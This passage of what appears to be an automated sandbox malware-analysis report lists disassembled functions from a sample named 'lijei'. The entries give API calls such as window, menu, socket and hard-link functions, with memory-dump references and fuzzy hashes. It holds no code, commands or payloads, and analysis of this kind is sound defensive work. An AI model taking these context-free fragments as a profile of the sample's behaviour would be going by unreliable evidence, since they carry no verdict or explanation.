                                                              • ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009007D1,80070057,?,?), ref: 009008D6
                                                              • lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009007D1,80070057,?,?), ref: 009008E4
                                                              • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009007D1,80070057,?), ref: 009008F4
                                                              • CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009007D1,80070057,?,?), ref: 00900900
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: From$Prog$FreeStringTasklstrcmpi
                                                              • String ID:
                                                              • API String ID: 3897988419-0
                                                              • Opcode ID: 3449303add945fa2bbafca1df99913866cb5c76740f68fd38ce1d91c38fdbc3c
                                                              • Instruction ID: 9f9a01369f4f67eb668d29d81773b05fa8a27e85daa06c443f6a9be1f2d2e1a4
                                                              • Opcode Fuzzy Hash: 3449303add945fa2bbafca1df99913866cb5c76740f68fd38ce1d91c38fdbc3c
                                                              • Instruction Fuzzy Hash: 5001A276611208BFDB104F64EC04BAB7AFDEF88791F104024FD05D2251DB71ED109BA0
                                                              Function 00910BCB Relevance: 7.5, APIs: 6, Instructions: 41COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNEL32(?,?,?,?,00910A39,?,00913C56,?,00000001,008E3ACE,?), ref: 00910BE0
                                                              • CloseHandle.KERNEL32(?,?,?,?,00910A39,?,00913C56,?,00000001,008E3ACE,?), ref: 00910BED
                                                              • CloseHandle.KERNEL32(?,?,?,?,00910A39,?,00913C56,?,00000001,008E3ACE,?), ref: 00910BFA
                                                              • CloseHandle.KERNEL32(?,?,?,?,00910A39,?,00913C56,?,00000001,008E3ACE,?), ref: 00910C07
                                                              • CloseHandle.KERNEL32(?,?,?,?,00910A39,?,00913C56,?,00000001,008E3ACE,?), ref: 00910C14
                                                              • CloseHandle.KERNEL32(?,?,?,?,00910A39,?,00913C56,?,00000001,008E3ACE,?), ref: 00910C21
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle
                                                              • String ID:
                                                              • API String ID: 2962429428-0
                                                              • Opcode ID: 1884f813287bdeb775aa06437118b68d51c98d21203ca946f7ef4102a78bf3db
                                                              • Instruction ID: 3c7ac671b5b3e46e42d2f52d94b6cc4e28fb61d396a92723bb42f7edc4f6e7da
                                                              • Opcode Fuzzy Hash: 1884f813287bdeb775aa06437118b68d51c98d21203ca946f7ef4102a78bf3db
                                                              • Instruction Fuzzy Hash: 3E01E271904B19CFCB30AF66D980842FBF9EF903093008A3ED09242931C7B2A884CF80
                                                              Function 009064D3 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDlgItem.USER32(?,000003E9), ref: 009064E7
                                                              • GetWindowTextW.USER32(00000000,?,00000100), ref: 009064FE
                                                              • MessageBeep.USER32(00000000), ref: 00906516
                                                              • KillTimer.USER32(?,0000040A), ref: 00906532
                                                              • EndDialog.USER32(?,00000001), ref: 0090654C
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                              • String ID:
                                                              • API String ID: 3741023627-0
                                                              • Opcode ID: 98ea4c2def29838642928278e00912afe1fade3319c00f18bd8e00d38086b2b2
                                                              • Instruction ID: 1fdaa033643c644c816271f9e172d602e1a62c9bee06e0562247658d3e1c87a8
                                                              • Opcode Fuzzy Hash: 98ea4c2def29838642928278e00912afe1fade3319c00f18bd8e00d38086b2b2
                                                              • Instruction Fuzzy Hash: 7701DC30501704AFEB205B20ED5FB9677BCFB10B09F000669B693A10E0DBF4AAA4DF90
                                                              Function 008D2630 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _free.LIBCMT ref: 008D264E
                                                                • Part of subcall function 008D2D58: RtlFreeHeap.NTDLL(00000000,00000000,?,008DDB71,00971DC4,00000000,00971DC4,00000000,?,008DDB98,00971DC4,00000007,00971DC4,?,008DDF95,00971DC4), ref: 008D2D6E
                                                                • Part of subcall function 008D2D58: GetLastError.KERNEL32(00971DC4,?,008DDB71,00971DC4,00000000,00971DC4,00000000,?,008DDB98,00971DC4,00000007,00971DC4,?,008DDF95,00971DC4,00971DC4), ref: 008D2D80
                                                              • _free.LIBCMT ref: 008D2660
                                                              • _free.LIBCMT ref: 008D2673
                                                              • _free.LIBCMT ref: 008D2684
                                                              • _free.LIBCMT ref: 008D2695
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: _free$ErrorFreeHeapLast
                                                              • String ID:
                                                              • API String ID: 776569668-0
                                                              • Opcode ID: fe83643a66a8bd84f226f703a91bb9516c19e99ba6080bfc2fc7df76b198b9d2
                                                              • Instruction ID: c1fe0c5959fcbf0dcfa6b20c323b576c9c6cb65922672f345f700f4d86f240f2
                                                              • Opcode Fuzzy Hash: fe83643a66a8bd84f226f703a91bb9516c19e99ba6080bfc2fc7df76b198b9d2
                                                              • Instruction Fuzzy Hash: 45F03A7293A2248BC705AF6CBC098483BA5FB29B51391030BF428D7375CB714986BF85
                                                              Function 0090CA3D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 0090CAC6
                                                              • DeleteMenu.USER32(?,00000007,00000000), ref: 0090CB0C
                                                              • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00972990,01464FB8), ref: 0090CB55
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Menu$Delete$InfoItem
                                                              • String ID: 0
                                                              • API String ID: 135850232-4108050209
                                                              • Opcode ID: 63d305cee7c05d37a0791102e31b115f40617f01f762d584dc014a214b59a669
                                                              • Instruction ID: 9f98b755a516c6bf6fb5682cd78f3da4833fe8c888df93214ab9cfc40b15371c
                                                              • Opcode Fuzzy Hash: 63d305cee7c05d37a0791102e31b115f40617f01f762d584dc014a214b59a669
                                                              • Instruction Fuzzy Hash: C141BFB16093419FD720DF28D846F1ABBE8AF95324F14461DF9A5972D1D730E904CBA2
                                                              Function 00934D75 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0093DCD0,00000000,?,?,?,?), ref: 00934E09
                                                              • GetWindowLongW.USER32 ref: 00934E26
                                                              • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00934E36
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$Long
                                                              • String ID: SysTreeView32
                                                              • API String ID: 847901565-1698111956
                                                              • Opcode ID: a75ffedf4bb89e2486e95ddb6f5da1f258befb5b9d026b9387c7a49896a421c7
                                                              • Instruction ID: 90db97f1067d2c2b01a1bb7872b7359c0c1e09934136fe18f590b9327c5dac62
                                                              • Opcode Fuzzy Hash: a75ffedf4bb89e2486e95ddb6f5da1f258befb5b9d026b9387c7a49896a421c7
                                                              • Instruction Fuzzy Hash: A6319A31210205AFEF218E38DC45BEB7BA9FB49334F214714F879A21E0DB30AC509B50
                                                              Function 00934817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 0093489F
                                                              • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 009348B3
                                                              • SendMessageW.USER32(?,00001002,00000000,?), ref: 009348D7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Window
                                                              • String ID: SysMonthCal32
                                                              • API String ID: 2326795674-1439706946
                                                              • Opcode ID: 8a87585a156728f4fd2c677244b830c28176f821186ad8784aa6503503ca4465
                                                              • Instruction ID: f8d0353652833a2c1f121185a66a4923ff966b7d91ab868f1403a08ea10dcdec
                                                              • Opcode Fuzzy Hash: 8a87585a156728f4fd2c677244b830c28176f821186ad8784aa6503503ca4465
                                                              • Instruction Fuzzy Hash: 6521D132610218AFEF218F90CC42FEB3BB9EF88714F110214FA15AB1D0D6B1BC919B90
                                                              Function 00934116 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0093419F
                                                              • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 009341AF
                                                              • MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 009341D5
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$MoveWindow
                                                              • String ID: Listbox
                                                              • API String ID: 3315199576-2633736733
                                                              • Opcode ID: 5afe3113ba6a62770e8220756047f06cac5347a0d13b428692ea2bfa74e52536
                                                              • Instruction ID: 3a51751f052bef3027d7e2ab6e6565ec2697cf344cc7f2c5505be267616be7dd
                                                              • Opcode Fuzzy Hash: 5afe3113ba6a62770e8220756047f06cac5347a0d13b428692ea2bfa74e52536
                                                              • Instruction Fuzzy Hash: 5421D432614218BBEF218F94DC84FFB377EEFA9754F018114F9049B190C671AC928BA0
                                                              Function 00934B4A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00934BAE
                                                              • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00934BC3
                                                              • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00934BD0
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend
                                                              • String ID: msctls_trackbar32
                                                              • API String ID: 3850602802-1010561917
                                                              • Opcode ID: 959fa6c06f8adb570f17969c154124d2635568aab63f0cf52ece1c430bef345c
                                                              • Instruction ID: d476dc4489cf2007a781aa9e1dd2638601c240661fd8316456799805be683c43
                                                              • Opcode Fuzzy Hash: 959fa6c06f8adb570f17969c154124d2635568aab63f0cf52ece1c430bef345c
                                                              • Instruction Fuzzy Hash: 0F110631250208BEEF115F68CC06FAB7BBCEFC5B14F120524FA55E20A0D671EC619B20
                                                              Function 009361E1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00936220
                                                              • SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 0093624D
                                                              • DrawMenuBar.USER32(?), ref: 0093625C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Menu$InfoItem$Draw
                                                              • String ID: 0
                                                              • API String ID: 3227129158-4108050209
                                                              • Opcode ID: b6e119de73f44d0bc0e15d3542ecbd240be1384f302108ec85b202740046a934
                                                              • Instruction ID: 4517044a1fc35c4fa6abaa2d5a571fee1ec4ed288952c519e5482346e99df797
                                                              • Opcode Fuzzy Hash: b6e119de73f44d0bc0e15d3542ecbd240be1384f302108ec85b202740046a934
                                                              • Instruction Fuzzy Hash: 98015731515218EFDB209F55DC88BAABBB8FF48351F14C09AF849D6150DB708A94EF21
                                                              Function 0090090F Relevance: 6.3, APIs: 4, Instructions: 322COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 21bc4526e04d19438b3330def1630725ca4044358cfc5b730440e6b3c9f6245a
                                                              • Instruction ID: c72623800a0f0ce707256cb3f9eb8270161a679d24eb5086aa646b1680803c81
                                                              • Opcode Fuzzy Hash: 21bc4526e04d19438b3330def1630725ca4044358cfc5b730440e6b3c9f6245a
                                                              • Instruction Fuzzy Hash: B0C14B75A0021AEFDB14CF94C894BAAB7B9FF88704F108598E515EB291D731EE81DB90
                                                              Function 008D4210 Relevance: 6.3, APIs: 4, Instructions: 305COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: __alldvrm$_strrchr
                                                              • String ID:
                                                              • API String ID: 1036877536-0
                                                              • Opcode ID: 173a905e0583d248f4586312a6838000a577cfe73f6efb9ac5c35750ff0a0cfb
                                                              • Instruction ID: 9b75cbd280875a0114aef3e088bba645787cb7dce6a6fcf0322926b2f923b26c
                                                              • Opcode Fuzzy Hash: 173a905e0583d248f4586312a6838000a577cfe73f6efb9ac5c35750ff0a0cfb
                                                              • Instruction Fuzzy Hash: B7A145729013869FEB25CF18C891BAEBBA5FF61310F18436EE585DB381C6349D81C755
                                                              Function 00900CC6 Relevance: 6.2, APIs: 4, Instructions: 230COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00940BD4,?), ref: 00900E80
                                                              • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00940BD4,?), ref: 00900E98
                                                              • CLSIDFromProgID.OLE32(?,?,00000000,0093DCE0,000000FF,?,00000000,00000800,00000000,?,00940BD4,?), ref: 00900EBD
                                                              • _memcmp.LIBVCRUNTIME ref: 00900EDE
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FromProg$FreeTask_memcmp
                                                              • String ID:
                                                              • API String ID: 314563124-0
                                                              • Opcode ID: a4761e2f41a5da4de65c149e9eb90f72daa3f55c29028e6c271ec8a309b8cf82
                                                              • Instruction ID: 8ce1fd78a69ab06e16a2eafb236b65de95a07b52ba71e02afe2ac8b56a38889c
                                                              • Opcode Fuzzy Hash: a4761e2f41a5da4de65c149e9eb90f72daa3f55c29028e6c271ec8a309b8cf82
                                                              • Instruction Fuzzy Hash: 1581F975A00209EFCB04DF94C984EEEB7B9FF89315F204558E516BB290DB71AE46CB60
                                                              Function 00922433 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • socket.WSOCK32(00000002,00000002,00000011), ref: 0092245A
                                                              • WSAGetLastError.WSOCK32 ref: 00922468
                                                              • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 009224E7
                                                              • WSAGetLastError.WSOCK32 ref: 009224F1
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$socket
                                                              • String ID:
                                                              • API String ID: 1881357543-0
                                                              • Opcode ID: 7cffcb510a95a19d734ac88044f72a1aa44a07f28b01bf4cb2db0bddafb74c53
                                                              • Instruction ID: 63fb9e21063e7c8c83ad3d00a68048a002464c3cd182c5b9447f8b58931e55d0
                                                              • Opcode Fuzzy Hash: 7cffcb510a95a19d734ac88044f72a1aa44a07f28b01bf4cb2db0bddafb74c53
                                                              • Instruction Fuzzy Hash: 2B41D074600210AFE720AF28D8AAF2A77E5EB15704F54C448F91A9F7D2C772ED41CB91
                                                              Function 00936BD7 Relevance: 6.1, APIs: 4, Instructions: 138COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowRect.USER32(?,?), ref: 00936C41
                                                              • ScreenToClient.USER32(?,?), ref: 00936C74
                                                              • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00936CE1
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$ClientMoveRectScreen
                                                              • String ID:
                                                              • API String ID: 3880355969-0
                                                              • Opcode ID: 1fe9a45afb6fda94b9dbe872801b68227095648fcacc5a864507374716aac98b
                                                              • Instruction ID: 23a1a2dece22a8a3a9f2f0161301e0395be72c864e54d90ec6d9e41117500f28
                                                              • Opcode Fuzzy Hash: 1fe9a45afb6fda94b9dbe872801b68227095648fcacc5a864507374716aac98b
                                                              • Instruction Fuzzy Hash: 1C515E71A00208AFCF15DF64D9809AE7BBAFF45360F208159F9659B2A0D730ED81CF90
                                                              Function 00916033 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 009160DD
                                                              • GetLastError.KERNEL32(?,00000000), ref: 00916103
                                                              • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00916128
                                                              • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00916154
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CreateHardLink$DeleteErrorFileLast
                                                              • String ID:
                                                              • API String ID: 3321077145-0
                                                              • Opcode ID: 196e217aa2c763b37b8ffdccf9ec6949f400f2f2b2027532893e4df26c9016a9
